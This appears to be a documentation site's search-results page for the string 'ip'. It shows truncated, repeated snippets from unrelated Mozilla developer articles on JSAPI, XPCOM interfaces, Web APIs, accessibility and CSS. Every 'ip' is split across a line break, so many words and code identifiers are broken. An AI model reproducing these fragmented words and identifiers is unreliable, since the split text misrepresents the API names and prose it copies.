ipt, reading the source code from a stdio file. syntax jsobject * js_compileutf8filehandle(jscontext *cx, jsobject *obj, const char *filename, file *file); jsobject * js_compileutf8filehandleforprinc
ipals( jscontext *cx, jsobject *obj, const char *filename, file *file, jsprinc
ipals *princ
ipals); name type descr
iption cx jscontext * the context in which to compile the scr
ipt. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * object with which the scr
ipt is associated. ...
...e *file, jsprinc
ipals *princ
ipals); name type descr
iption cx jscontext * the context in which to compile the scr
ipt. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * object with which the scr
ipt is associated. filename const char * filename to associate with the compiled scr
ipt. this filename is used for error messages. it should be the name of the file that contains the scr
ipt, if available. file file * the file handle containing the scr
ipt to compile. princ
ipals jsprinc
ipals * (only in js_compileutf8filehandleforprinc
ipals) the security princ
ipals to associate with the new scr
ipt, or null. ...
...file is the file handle. ...
...And 6 more matches
JS_NewGlobalObject
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. clasp jsclass * the class to use for the new global object. ...
...requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. clasp jsclass * the class to use for the new global object. ...
...requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. clasp jsclass * the class to use for the new global object. ...
...And 6 more matches
JS_SetBranchCallback
obsolete since javascr
ipt 1.9.1this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. specifies a callback function that is automatically called when a scr
ipt branches backward during execution, when a function returns, and at the end of the scr
ipt. replaced with js_setoperationcallback. syntax jsbranchcallback js_setbranchcallback(jscontext *cx, jsbranchcallback cb); name type descr
iption cx jscontext * the context to hook. cb jsbranchcallback pointer to the callback function. ...
...ction returns, and at the end of the scr
ipt. replaced with js_setoperationcallback. syntax jsbranchcallback js_setbranchcallback(jscontext *cx, jsbranchcallback cb); name type descr
iption cx jscontext * the context to hook. cb jsbranchcallback pointer to the callback function. callback syntax jsbool (*jsbranchcallback)(jscontext *cx, jsscr
ipt *scr
ipt); name type descr
iption cx jscontext * pointer to a jscontext which the callback may use to call into jsapi functions. for example, the callback my call js_maybegc(cx). this is the context that is currently executing the code that triggered the callback. provides request. ...
...this is guaranteed to be non-null, unless the jsoption_native_branch_callback option has been enabled for the context cx using js_setoptions(). ...
...And 6 more matches
JS_THREADSAFE
note: js_threadsafe is now permanently on. js_threadsafe was a compile-time option that enables support for running mult
iple threads of javascr
ipt code concurrently as long as no objects or strings are shared between them. we have recently made major changes to this feature. until recently, sharing objects among threads would mostly work, although scr
ipts could easily make it crash. we have now completely removed that feature. each thread that uses the javascr
ipt engine must essentially operate in a totally separate region of memory. requests in a js_threadsafe build, the application must separate code that uses the jsapi from code that performs blocking i/o or time-consuming calculations. a request is a region of code that uses the jsapi. requests must be bracketed with calls t...
...request() and js_endrequest(). js_beginrequest(cx); /* ... do jsapi stuff ... */ js_endrequest(cx); a request is always associated with a specific jscontext and runs from start to finish on a single thread. most jsapi functions require the caller to be in a request. ...
... the callback does not need to call js_beginrequest()). in particular, jsnative callbacks provide a request. ...
...And 6 more matches
SpiderMonkey 38
spidermonkey 38 is outdated and contains known security vulnerabilities. these release notes are incomplete. the mozilla javascr
ipt team is pleased to announce the release of spidermonkey 38. spidermonkey 38 is the javascr
ipt engine that sh
ipped in firefox 38. it continues to improve performance over previous spidermonkey releases, with xxx blah blah blah. it also contains new language and api features described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: javascr
ipt engine. -- sep 17, 2015 the download url is outdated and spidermonkey not release alone! get it here mozilla-esr38 you will find it in "firefox extended support...
... release 38" package on hg release platform support spidermonkey 38 is supported on all the platforms where firefox 38 runs. compiling it requires a c++ compiler, and the jsapi can only be used from c++ code. if you are compiling with microsoft's visual studio, note that the minimum supported version is msvc10/2010. spidermonkey 38 includes a just-in-time compiler (jit) that compiles javascr
ipt to machine code, for a significant speed increase. it is supported on x86, x86_64, and arm architectures. on some other platforms (sparc, m
ips), the jit is provided but not supported. on all other platforms the jit is simply disabled; javascr
ipt code runs in an interpreter, as in previous versions. it's the same language, just not as fast. migrating to spidermonkey 38 .... xxx will need upda...
...anged still have the same names and implement essentially unchanged functionality. applications will need significant changes, but most of those changes will be detected by the c/c++ compiler, so they are easy to detect and updating the code is a fairly straightforward job. here is a list of the most significant changes: .... these and other changes are explained in detail below. new javascr
ipt language features javascr
ipt 38 includes significant updates to language features, yo. new c++ apis jsapi is now a c++-only api. please note that spidermonkey reserves the js:: namespace for itself (and the js:: namespace for internal use). js::clonefunctionobject (bug 1088228) interned_string_to_jsid (bug 1045900) js::construct (bug 1017109) js::createerror (bug 984048) js::falsehandl...
...And 6 more matches
TPS Tests
end to end test for sync. it's name stands for testing and profiling tool for sync (which is a misnomer, since it doesn't do any profiling), and it should not be confused with the similarly named tests in talos. tps consists of a firefox extension of the same name, along with a python test runner, both of which live inside mozilla-central. the python test runner will read a test file (in javascr
ipt format), setup one or more firefox profiles with the necessary extensions and preferences, then launch firefox and pass the test file to the extension. the extension will read the test file and perform a series of actions specified therein, such as populating a set of bookmarks, syncing to the sync server, making bookmark modifications, etc. a test file may contain an arbitrary number of sectio...
..., it will set preferences from the "preferences" property, and so you can set the "identity.fxaccounts.autoconfig.uri" preference to point to any fxa server you want. for example, a (partial) tps config for testing against stage might look like: { // ... "fx_account": { "username": "foobar@restmail.net", "password": "hunter2" }, "preferences": { // use "https://stable.dev.lc
ip.org" for dev instead of stage "identity.fxaccounts.autoconfig.uri": "https://accounts.stage.mozaws.net" // possibly more preferences... }, // ... } note that in this example, the foobar@restmail.net account must be registered on stage, otherwise authentication will fail (and the whole test will fail as well. you can sign up for an fxa account on stage or dev by creating an fxa accou...
...nd so you can't have comments in it (sorry, i know this is annoying). one alternative is to put underscores before the "disabled" preferences, e.g. "_identity.fxaccounts.autoconfig.uri": "...". writing tps tests each tps test is run as a series of "phases". a phase runs in some firefox profile, and contains some set of actions to perform or check on that profile. phases have an n to m relationsh
ip with profiles, where n >= m (there can never be more phases than profiles). typically there are two profiles used, but any number of profiles could be used in theory (other than 0). after the phases run, two additional "cleanup" phases are run, to unregister the devices with fxa. this is an implementation detail, but if you work with tps for any amount of time you will almost certainly see clean...
...And 6 more matches
HOWTO
async network requests problem you want to make network requests or do other asynchronous work in xpcshell. however, when you start your scr
ipt, it exits immediately, before the network request returns. solution 1. ...
... async network requests problem you want to make network requests or do other asynchronous work in xpcshell. however, when you start your scr
ipt, it exits immediately, before the network request returns. solution 1. ...
... async network requests problem you want to make network requests or do other asynchronous work in xpcshell. however, when you start your scr
ipt, it exits immediately, before the network request returns. solution 1. ...
...And 6 more matches
nsIAlertsService
for example, it can be used to notify the user that their downloads are complete or that they have new mail. 1.0 66 introduced gecko 1.7 inherits from: nsisupports last changed in gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19) by default a message is displayed in a small window that slides up from the bottom of the screen, holds there for a few seconds, then slides down. the specific appearance varies from platform to platform. ...
... void showalertnotification( ...
... void showalertnotification( in as...
...And 6 more matches
nsIAppShellService
xpfe/appshell/nsiappshellservice.idlscr
iptable provides the appshellservice. inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by: @mozilla.org/appshell/appshellservice;1 as a service: var appshellservice = components.classes["@mozilla.org/appshell/appshellservice;1"] .getservice(components.interfaces.nsiappshellservice); method overview void closetoplevelwindow(in nsixulwindow awindow); obsolete since gecko 1.8 void createhiddenwindow(in nsiappshell aappshell); native code only! boolean createstartupstate(in long awindowwidth, in long awindowheight); obsolete since gecko 1.8 nsixulwindow createtoplevelwindow(in nsixulwindow aparent, in nsiuri aurl, in ...
...window awindow); void run(); obsolete since gecko 1.8 void toplevelwindowismodal(in nsixulwindow awindow, in boolean amodal); obsolete since gecko 1.9.1 void unregistertoplevelwindow(in nsixulwindow awindow); note: prior to gecko 8.0, all references to nsidomwindow used in this interface were nsidomwindowinternal. attributes attribute type descr
iption applicationprovidedhiddenwindow boolean return true if the application hidden window was provided by the application. if it was not, the default hidden window was used. this will usually be false on all non-mac platforms. read only. hiddendomwindow nsidomwindow return the (singleton) application hidden window, automatically created and maintained by this appshel...
...ed and maintained by this appshellservice. read only. hiddenwindow nsixulwindow return the (singleton) application hidden window, automatically created and maintained by this appshellservice. read only. nativeappsupport nsinativeappsupport getter for "native application support." read only. obsolete since gecko 1.8 constants constant value descr
iption size_to_content -1 create a window, which will be initially invisible. econsiderquit 1 attempt to quit if all windows are closed. obsolete since gecko 1.8 eattemptquit 2 try to close all windows, then quit if successful. obsolete since gecko 1.8 eforcequit 3 force all windows to close, then quit. obsolete since gecko 1.8 metho...
...And 6 more matches
nsIEditor
<< xpcom api reference editor/nsieditor.idlscr
iptable provides methods and attributes used when editing page content. ...
... << xpcom api reference editor/nsieditor.idlscr
iptable provides methods and attributes used when editing page content. ...
... in astring sourceattrname, in astring sourceattrvalue, in boolean asuppresstransaction); void removeattributeorequivalent(in nsidomelement element, in domstring sourceattrname, in boolean asuppresstransaction); void postcreate(); void predestroy(in boolean adestroyingframes); selected content removal void deleteselection(in short action, in short str
ipwrappers); document info and file methods void resetmodificationcount(); long getmodificationcount(); void incrementmodificationcount(in long amodcount); void incrementmodificationcount(in long amodcount); transaction methods void dotransaction(in nsitransaction txn); void enableundo(in boolean enable); void undo(in u...
...And 6 more matches
nsILocalFile
in gecko 14 this interface was merged into the nsifile interface. xpcom/io/nsilocalfile.idlscr
iptable this interface adds methods to nsifile that are particular to a file that is accessible via the local file system. 66 introduced gecko 1.0 deprecated gecko 14 inherits from: nsifile last changed in gecko 1.0 implemented by: @mozilla.org/file/local;1. ...
...ed by: @mozilla.org/file/local;1. ...
...read only. followlinks prbool determines whether or not the nsilocalfile will automatically resolve symbolic links. by de...
...And 6 more matches
nsIMsgMessageService
objects that implements nsimsgmessageservice give the user top level routines related to messages like copying, displaying, attachment's man
ipulation, printing, streaming the message content to eml format string, etc. ...
...level routines related to messages like copying, displaying, attachment's man
ipulation, printing, streaming the message content to eml format string, etc. ...
...acopylistener already knows about the destination folder. void copymessage(in string asrcuri, in nsistreamlistener acopylistener, in boolean amovemessage, in nsiurllistener aurlliste...
...And 6 more matches
nsISocketTransport
inherits from: nsitransport last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) note: connection setup is triggered by opening an input or output stream, it does not start on its own. completion of the connection setup is indicated by a status_connected_to notification to the event sink (if set). ...
...see connection flag constants for more details. host autf8string get the host for the underlying socket connection. read only. port long get the port for the underlying socket connection. read only...
...fo object returned from the secure socket provider. this object supports nsisslsocketcontrol, nsitransportsecurityinfo, and possibly other interfaces. this attribute is only available once the socket is connected. read only. constants timeout type this constants are used by gettransport() and settransport() to specify socket timeouts constant value descr
iption timeout_connect 0 connecting timeout. timeout_read_write 1 read and write timeouts. nsitransporteventsink status codes note: although these constants look like xpcom error codes and are passed in an nsresult variable, they are not error codes. they do overlap with existing error codes in necko, these status codes are confin...
...And 6 more matches
nsITransferable
these objects are used during drag-and-drop operations. inherits from: nsisupports last changed in gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10) implemented by: @mozilla.org/widget/transferable;1. ...
... isprivatedata boolean although this is not a read-only attribute, you should generally avoid changing it, since doing so may cause it not to actually reflect the status of the context in which t...
...tribute, you should generally avoid changing it, since doing so may cause it not to actually reflect the status of the context in which the transferable was created. native code only! requestingnode nsidomnode the source dom node this transferable was created from. ...
...And 6 more matches
nsIXULTemplateBuilder
.</bindings> <action>...</action> </rule> </queryset> </template> </rootnode> the datasources attribute on the root node is used to identify the source of data to be used. the ref attribute is used to specify the reference point for the query. the <queryset> element contains a single query and one or more <rule> elements. there may be more than one <queryset> if mult
iple queries are desired, and this element is optional if only one query is needed -- in that case the <query> and <rule>s are allowed to be children of the <template> node. the contents of the query are processed by a separate component called a query processor. this query processor is expected to use this query to generate results when asked by the template builder. the template builder then gener...
...ery processor's translateref() method using the value of the root node's ref attribute. this object may be retrieved later via the builder's rootresult property. for convenience, each reference point as well as all results implement the nsixultemplateresult interface, allowing the result objects from each iteration to be used directly as the reference points for the next iteration. when using mult
iple queries, each may generate results with the same id. more than one of these results may match one of the rules in their respective queries, however only the result for the earliest matching query in the template becomes the active match and generates output. the addresult, removeresult, replaceresult and resultbindingchanged methods may be called by the query processor to indicate that the set ...
...d, such that a different query may match. if a different match would become active, the content for the existing match is removed and the content for the new match is generated. a query processor is not required to provide any support for updating results after they have been generated. see the template guide for more information about templates. /xul/templates/public/nsixultemplatebuilder.idlscr
iptable please add a summary to this article. last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void rebuild(); void refresh(); void addresult(in nsixultemplateresult aresult, in nsidomnode aquerynode); void removeresult(in nsixultemplateresult aresult); void replaceresult(in nsixultemplateresult aoldresult, in nsixultemplateresult anewresult, in nsi...
...And 6 more matches
Using Objective-C from js-ctypes
r nsstringencoding; so, our function call can be converted into the following js-ctypes code: let text = objc_msgsend(tmp2, initwithcstring_encoding, ctypes.char.array()("hello, firefox!"), ctypes.unsigned_long(nsutf8stringencoding)); converted js-ctypes code finally, we have our converted code. this can run with a copy-and-paste into a javascr
ipt shell. this example uses a busy loop, and thus, firefox won't respond until the speaking is done. if this code were to be used in a production add-on, then to avoid firefox locking up, run this code from a chromeworker. let { ctypes } = components.utils.import("resource://gre/modules/ctypes.jsm", {}); let id = ctypes.structtype("objc_object").ptr; let sel = ctypes.structtype("objc_selector").
...us block instances need are creted using the core.wrapid() function. ...
... :: working with blocks - https://developer.apple.com/library/ios/documentation/cocoa/conceptual/programmingwithobjectivec/workingwithblocks/workingwithblocks.html var _nsconcreteglobalblock = ctypes.open(ctypes.libraryname('objc')).declare('_nsconcreteglobalblock', ctypes.voidptr_t); // //github.com/realityr
ipple/uxp/blob/master/js/src/ctypes/library.cpp?offset=0#271 /** * the "block descr
iptor" is a static singleton struct. ...
...And 6 more matches
Drawing and Event Handling - Plugins
represents a window. //the npwindow structure typedef enum { npwindowtypewindow = 1, npwindowtypedrawable } npwindowtype; typedef struct _npwindow { void* window; /* platform-specific handle */ uint32 x; /* position of top-left corner */ uint32 y; /* relative to a netscape page */ uint32 width; /* maximum window size */ uint32 height; nprect cl
iprect; /* cl
ipping rectangle in port coordinates */ #ifdef xp_unix void * ws_info; /* platform-dependent additional data */ #endif /* xp_unix */ npwindowtype type; /* whether this is a window or a drawable */ } npwindow; the window parameter is a platform-specific handle to a native window element in the browser window hierarchy on windows and unix. on mac os, window is a pointer to an...
...ow; the window parameter is a platform-specific handle to a native window element in the browser window hierarchy on windows and unix. on mac os, window is a pointer to an np_port. the x and y fields specify the top-left corner of the plug-in relative to the page. the width and height fields specify the dimensions of the plug-in area. these values should not be modified by the plug-in. the cl
iprect field defines the cl
ipping rectangle of the plug-in in a coordinate system where the origin is the top-left corner of the drawable or window. the browser calls npp_setwindow whenever the drawable changes. for windowless plugins, a cl
iprect of 0,0,0,0 signals that the plugin is not visible. the type field indicates the npwindow type of the target area: npwindowtypewindow: windowed plug-in.
... mac os, full-page printing requires that the field printinfo contain a standard mac os thprint (see printing.h). of course, npp_print is also called with printinfo->mode equal to np_embed when the instance is embedded. in this case, platformprint->embedprint.window contains the window in which the plug-in should print. on ms windows, note that the coordinates for the window rectangle are in tw
ips format. for this reason, you need to convert the x - and y - coordinates using the windows api call dptolp when you output text. setting the window the browser calls the npp_setwindow function to set the window in which a plug-in draws or returns an error code. this window is valid for the life of the instance, or until npp_setwindow is called again with a different value. subsequent calls to...
...And 6 more matches
Examine and edit HTML - Firefox Developer Tools
the arrow to expand the node. if you hold the alt key while clicking the arrow, it expands the node and all the nodes underneath it. moving the mouse over a node in the tree highlights that element in the page. nodes that are not visible are shown faded/desaturated. this can happen for different reasons such as using display: none or that the element doesn't have any dimensions. there is an ell
ipsis shown between the opening and closing tag of an element when the node is collapsed if it has larger contents. now children are indicated in the tree with this icon: at the right side of some nodes there are markers shown indicating different pieces of information related to it: event the element has one or several event listeners attached to it. clicking the marker opens a toolt...
...sis shown between the opening and closing tag of an element when the node is collapsed if it has larger contents. now children are indicated in the tree with this icon: at the right side of some nodes there are markers shown indicating different pieces of information related to it: event the element has one or several event listeners attached to it. clicking the marker opens a toolt
ip listing the event listeners and allows you for each listener to switch to the line of javascr
ipt code in the debugger where the listener is defined. scroll the element is a scroll container, i.e. it has overflow: scroll or overflow: auto applied to it, and it has scrollable overflow. grid the element is a grid container, i.e. it has display: grid applied to it. clicking th...
...y: inline-grid or display: inline grid applied to it. clicking the marker enables the grid highlighter. inline-flex the element is an inline flex container, i.e. it has display: inline-flex or display: inline flex applied to it. clicking the marker enables the flexbox highlighter. custom... the element is a custom element. clicking the marker switches to the line of javascr
ipt code in the debugger where the custom element got defined. note: there are some useful keyboard shortcuts that can be used in the html tree -- see the html pane keyboard shortcuts list. ::before and ::after you can inspect pseudo-elements added using ::before and ::after: custom element definition when you open the inspector on a page that includes custom elements, you can view th...
...And 6 more matches
MediaSession.setActionHandler() - Web APIs
a media session action. these actions let a web app receive notifications when the user engages a device's built-in physical or onscreen media controls, such as play, stop, or seek buttons. syntax navigator.mediasession.setactionhandler(type, callback) parameters type a domstring representing an action type to listen for. ...
...ing an action type to listen for. it will be one of play, pause, seekbackward, seekforward, seekto, sk
ipad,previoustrack, or nexttrack. further details on the action types can be found below under media session actions. callback a function to call when the specified action type is invoked. the callback receives no input parameters, and should not return a value. return value undefined. descr
iption to remove a previously-established action handler, call setactionhandler() again, specifying null as the callback. the action handler receives as input a single parameter: an object conforming to the mediasessionactiondetails dictionary, which provides both the action type (so the same function can handle mult
iple action types), as well as data needed in order to perform the action. media ...
...ances playback to the next track. pause pauses playback of the media. play begins (or resumes) playback of the media. previoustrack moves back to the previous track. seekbackward seeks backward through the media from the current position. seekforward seeks forward from the current position through the media. seekto moves the playback position to the specified time within the media. sk
ipad sk
ips past the currently playing advertisement or commercial. this action may or may not be available, depending on the platform and user agent, or may be disabled due to subscr
iption level or other circumstances. stop halts playback entirely. examples adding action handlers this example implements seek forward and backward actions for an audio player by setting up the seekforward and se...
...And 6 more matches
Push API - Web APIs
the push api gives web applications the ability to receive messages pushed to them from a server, whether or not the web app is in the foreground, or even currently loaded, on a user agent. this lets developers deliver asynchronous notifications and updates to users that opt in, resulting in better engagement with timely new content. push concepts and usage when implementing pushmanager subscr
iptions, it is vitally important that you protect against csrf/xsrf issues in your app. see the following articles for more information: cross-site request forgery (csrf) prevention cheat sheet preventing csrf and xsrf attacks for an app to receive push messages, it has to have an active service worker. when the service worker is active, it can subscribe to push notifications, using pushmanag...
...rotect against csrf/xsrf issues in your app. see the following articles for more information: cross-site request forgery (csrf) prevention cheat sheet preventing csrf and xsrf attacks for an app to receive push messages, it has to have an active service worker. when the service worker is active, it can subscribe to push notifications, using pushmanager.subscribe(). the resulting pushsubscr
iption includes all the information that the application needs to send a push message: an endpoint and the encryption key needed for sending data. the service worker will be started as necessary to handle incoming push messages, which are delivered to the serviceworkerglobalscope.onpush event handler. this allows apps to react to push messages being received, for example, by displaying a notificati...
...a push message: an endpoint and the encryption key needed for sending data. the service worker will be started as necessary to handle incoming push messages, which are delivered to the serviceworkerglobalscope.onpush event handler. this allows apps to react to push messages being received, for example, by displaying a notification (using serviceworkerregistration.shownotification().) each subscr
iption is unique to a service worker. the endpoint for the subscr
iption is a unique capability url: knowledge of the endpoint is all that is necessary to send a message to your application. the endpoint url therefore needs to be kept secret, or other applications might be able to send push messages to your application. activating a service worker to deliver a push message can result in increased r...
...And 6 more matches
Using Service Workers - Web APIs
n cache is a douchebag for more details. note: as of firefox 44, when appcache is used to provide offline support for a page a warning message is now displayed in the console advising developers to use service workers instead (bug 1204581.) service workers should finally fix these issues. service worker syntax is more complex than that of appcache, but the trade off is that you can use javascr
ipt to control your appcache-implied behaviors with a fine degree of granularity, allowing you to handle this problem and many more. using a service worker you can easily set an app up to use cached assets first, thus providing a default experience even when offline, before then getting more data from the network (commonly known as offline first). this is already available with native apps, which is...
...is considered a secure origin by browsers as well. basic architecture with service workers, the following steps are generally observed for basic set up: the service worker url is fetched and registered via serviceworkercontainer.register(). if successful, the service worker is executed in a serviceworkerglobalscope; this is basically a special kind of worker context, running off the main scr
ipt execution thread, with no dom access. the service worker is now ready to process events. installation of the worker is attempted when service worker-controlled pages are accessed subsequently. an install event is always the first one sent to a service worker (this can be used to start the process of populating an indexeddb, and caching site assets). this is really the same kind of procedure as...
...he same kind of procedure as installing a native or firefox os app -- making everything available for use offline. when the oninstall handler completes, the service worker is considered installed. next is activation. when the service worker is installed, it then receives an activate event. the primary use of onactivate is for cleanup of resources used in previous versions of a service worker scr
ipt. the service worker will now control pages, but only those opened after the register() is successful. i.e. a document starts life with or without a service worker and maintains that for its lifetime. so documents will have to be reloaded to actually be controlled. the below graphic shows a summary of the available service worker events: promises promises are a great mechanism for runnin...
...And 6 more matches
Using the Web Animations API - Web APIs
the web animations api lets us construct animations and control their playback with javascr
ipt. this article will start you off in the right direction with fun demos and tutorials featuring alice in wonderland. meet the web animations api the web animations api opens the browser's animation engine to developers and man
ipulation by javascr
ipt. this api was designed to underlie implementations of both css animations and css transitions, and leaves the door open to future animation effects. it is one of the most performant ways to animate on the web, letting the browser make its own internal optimizations without hacks, coercion, or window.requestanimationframe(). ...
...gned to underlie implementations of both css animations and css transitions, and leaves the door open to future animation effects. it is one of the most performant ways to animate on the web, letting the browser make its own internal optimizations without hacks, coercion, or window.requestanimationframe(). with the web animations api, we can move interactive animations from stylesheets to javascr
ipt, separating presentation from behavior. we no longer need to rely on dom-heavy techniques such as writing css properties and scoping classes onto elements to control playback direction. and unlike pure, declarative css, javascr
ipt also lets us dynamically set values from properties to durations. for building custom animation libraries and creating interactive animations, the web animations api m...
...000; transform: rotate(360deg) translate3d(-50%, -50%, 0); } } this changes alice's color and her transform's rotation over 3 seconds at a constant (linear) rate and loops infinitely. in the @keyframes block we can see that 30% of the way through each loop (about .9 seconds in), alice's color changes from black to a deep burgundy then back again by the end of the loop. moving it to javascr
ipt now let's try creating the same animation with the web animations api. representing keyframes the first thing we need is to create a keyframe object corresponding to our css @keyframes block: var alicetumbling = [ { transform: 'rotate(0) translate3d(-50%, -50%, 0)', color: '#000' }, { color: '#431236', offset: 0.3}, { transform: 'rotate(360deg) translate3d(-50%, -50%, 0)', color: '#000...
...And 6 more matches
Using the Web Speech API - Web APIs
the app is really trivial. we simply have a title, instructions paragraph, and a div into which we output diagnostic messages. <h1>speech color changer</h1> <p>tap/click then say a color to change the background color of the app.</p> <div> <p class="output"><em>...diagnostic messages</em></p> </div> the css provides a very simple responsive styling so that it looks ok across devices. javascr
ipt let's look at the javascr
ipt in a bit more detail. chrome support as mentioned earlier, chrome currently supports speech recognition with prefixed properties, therefore at the start of our code we include these lines to feed the right objects to chrome, and any future implementations that might support the features without a prefix: var speechrecognition = speechrecognition || webkitspeechre...
...', 'bisque', 'black', 'blue', 'brown', 'chocolate', 'coral' ... ]; var grammar = '#jsgf v1.0; grammar colors; public <color> = ' + colors.join(' | ') + ' ;' the grammar format used is jspeech grammar format (jsgf) -- you can find a lot more about it at the previous link to its spec. however, for now let's just run through it quickly: the lines are separated by semi-colons, just like in javascr
ipt. the first line -- #jsgf v1.0; -- states the format and version used. this always needs to be included first. the second line indicates a type of term that we want to recognise. public declares that it is a public rule, the string in angle brackets defines the recognised name for this term (color), and the list of items that follow the equals sign are the alternative values that will be recogn...
...eds to be included first. the second line indicates a type of term that we want to recognise. public declares that it is a public rule, the string in angle brackets defines the recognised name for this term (color), and the list of items that follow the equals sign are the alternative values that will be recognised and accepted as appropriate values for the term. note how each is separated by a p
ipe character. you can have as many terms defined as you want on separate lines following the above structure, and include fairly complex grammar definitions. for this basic demo, we are just keeping things simple. plugging the grammar into our speech recognition the next thing to do is define a speech recogntion instance to control the recognition for our application. this is done using the sp...
...And 6 more matches
window.postMessage() - Web APIs
window.postmessage() provides a controlled mechanism to securely circumvent this restriction (if used properly). ...
...he password, to prevent interception of the password by a malicious third party. always provide a specific targetorigin, not *, if you know where the other window's document should be located. failing to provide a specific target discloses the data you send to any interested malicious site. transfer optional is a sequence of transferable objects that are transferred with the message. the ownersh
ip of these objects is given to the destination side and they are no longer usable on the sending side. the dispatched event otherwindow can listen for dispatched messages by executing the following javascr
ipt: window.addeventlistener("message", receivemessage, false); function receivemessage(event) { if (event.origin !== "http://example.org:8080") return; // ... } the properties of ...
...any window (including, for example, http://evil.example.com) can send a message to any other window, and you have no guarantees that an unknown sender will not send malicious messages. having verified identity, however, you still should always verify the syntax of the received message. otherwise, a security hole in the site you trusted to send only trusted messages could then open a cross-site scr
ipting hole in your site. always specify an exact target origin, not *, when you use postmessage to send data to other windows. a malicious site can change the location of the window without your knowledge, and therefore it can intercept the data sent using postmessage. secure shared memory messaging if postmessage() throws when used with sharedarraybuffer objects, you might need to make sure you...
...And 6 more matches
ARIA: figure role - Accessibility
the aria figure role can be used to identify a figure inside page content where appropriate semantics do not already exist. a figure is generally considered to be one or more images, code sn
ippets, or other content that puts across information in a different way to a regular flow of text. <div role="figure" aria-labelledby="caption"> <img src="image.png" alt="full alternative image descr
iption"> <p id="caption">figure 1: the caption</p> </div> in the above example, we have a figure that consists of two separate content items -- an image and a caption. this is wrapped by a <div> element that identifies the content as a figure using role="figure". instead of using aria to create a figure, consider using the native, semantic html <figure> element. along with the <figcaption> elem...
... caption</p> </div> in the above example, we have a figure that consists of two separate content items -- an image and a caption. this is wrapped by a <div> element that identifies the content as a figure using role="figure". instead of using aria to create a figure, consider using the native, semantic html <figure> element. along with the <figcaption> element. see best practices below. descr
iption any content that should be grouped together and consumed as a figure (which could include images, video, audio, code sn
ippets, or other content) can be identified as a figure using role="figure". there are no hard and fast rules about how you should write your figure content. you should make sure that it is accessible just like any other content. for example, make sure it is perceivable by ...
... to an element containing content that describes the figure, and then reference that id inside an appropriate attribute on the figure to associate the figure with the label: <div role="figure" aria-labelledby="figure-1"> ... <p id="figure-1">text that describes the figure.</p> </div> use aria-labelledby when the text is a concise label. ...
...And 6 more matches
Understandable - Accessibility
this article provides practical advice on how to write your web content so that it conforms to the success criteria outlined in the understandable princ
iple of the web content accessibility guidelines (wcag) 2.0 and 2.1. understandable states that information and the operation of user interface must be understandable. note: to read the w3c definitions for understandable and its guidelines and success criteria, see princ
iple 3: understandable -- information and the operation of user interface must be understandable. guideline 3.1 -- readable: make text content readable and understandable this guideline focuses on making text content as understandable as possible. success criteria how to conform to the criteria practical resource 3.1.1 language of page...
...t of a specific language). 3.1.3 unusual words (aaa) where technical terms, jargon, or idioms/slang are used, definitions should be provided for such phrases/words. your site should provide a glossary that contains definitions of such words/terms that you can then link to when they appear, or at the very least provide definitions somewhere in the surrounding text, or in a descr
iption list at the bottom of the page. 3.1.4 abbreviations (aaa) where abbreviations are used, you should provide an expansion of them, or a definition as required. the <abbr> element is often thought of as the preferred way to provide an expansion for an abbreviation -- it takes a title attribute that contains the expansion, and this appears when the acronym is moused over...
... <audio> element can be used to create a control that allows the reader to play back an audio file containing the correct pronounciation, and it also makes sense to include a textual pronounciation guide after difficult words, in the same way that you find in dictionary entries. see video and audio content, and pronunciation guide for english dictionary note: also see the wcag descr
iption for guideline 3.1 readable: make text content readable and understandable. guideline 3.2 -- predictable: make web pages appear and operate in predictable ways this guideline focuses on making user interfaces intuitive and understandable. success criteria how to conform to the criteria practical resource 3.2.1 on focus (a) when a control or other page fe...
...And 6 more matches
Using multi-column layouts - CSS: Cascading Style Sheets
the css multi-column layout module extends the block layout mode to allow the easy definition of mult
iple columns of text. people have trouble reading text if lines are too long; if it takes too long for the eyes to move from the end of the one line to the beginning of the next, they lose track of which line they were on. therefore, to make maximum use of a large screen, authors should have limited-width columns of text placed side by side, just as newspapers do. unfortunately this is impossible to do with css and html without forcing column breaks at fixed positions, or severely restricting the markup allowed in the text, or using heroic scr
ipting. this limitation is solved by adding new css properties to extend the traditional block layout mode. using columns column count and width tw...
... </p> <p> duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. ...
...ation is solved by adding new css properties to extend the traditional block layout mode. using columns column count and width two css properties control whether and how many columns will appear: column-count and column-width. the column-count property sets the number of columns to a particular number. e.g., example 1 html <div id="col"> <p> lorem
ipsum dolor sit amet, consectetur ad
ipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. </p> <p> ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliqu
ip ex ea commodo consequat. </p> <p> duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. </p> <p> excepteur sint occaecat cupidatat non pro...
...And 6 more matches
CSS reference - CSS: Cascading Style Sheets
entire rule. invalid rules are ignored by the browser. note that css rule definitions are entirely (ascii) text-based, whereas dom-css / cssom (the rule management system) is object-based. at-rule syntax as the structure of at-rules varies widely, please see at-rule to find the syntax of the specific one you want. keyword index note: the property names in this index do not include the javascr
ipt names where they differ from the css standard names. --webkit-line-clampa:activeadditive-symbols (@counter-style)::after (:after)align-contentalign-itemsalign-selfall<an-plus-b><angle><angle-percentage>animationanimation-delayanimation-directionanimation-durationanimation-fill-modeanimation-iteration-countanimation-nameanimation-play-stateanimation-timing-function@annotationannotation()at...
...r-style)::after (:after)align-contentalign-itemsalign-selfall<an-plus-b><angle><angle-percentage>animationanimation-delayanimation-directionanimation-durationanimation-fill-modeanimation-iteration-countanimation-nameanimation-play-stateanimation-timing-function@annotationannotation()attr()b::backdropbackdrop-filterbackface-visibilitybackgroundbackground-attachmentbackground-blend-modebackground-cl
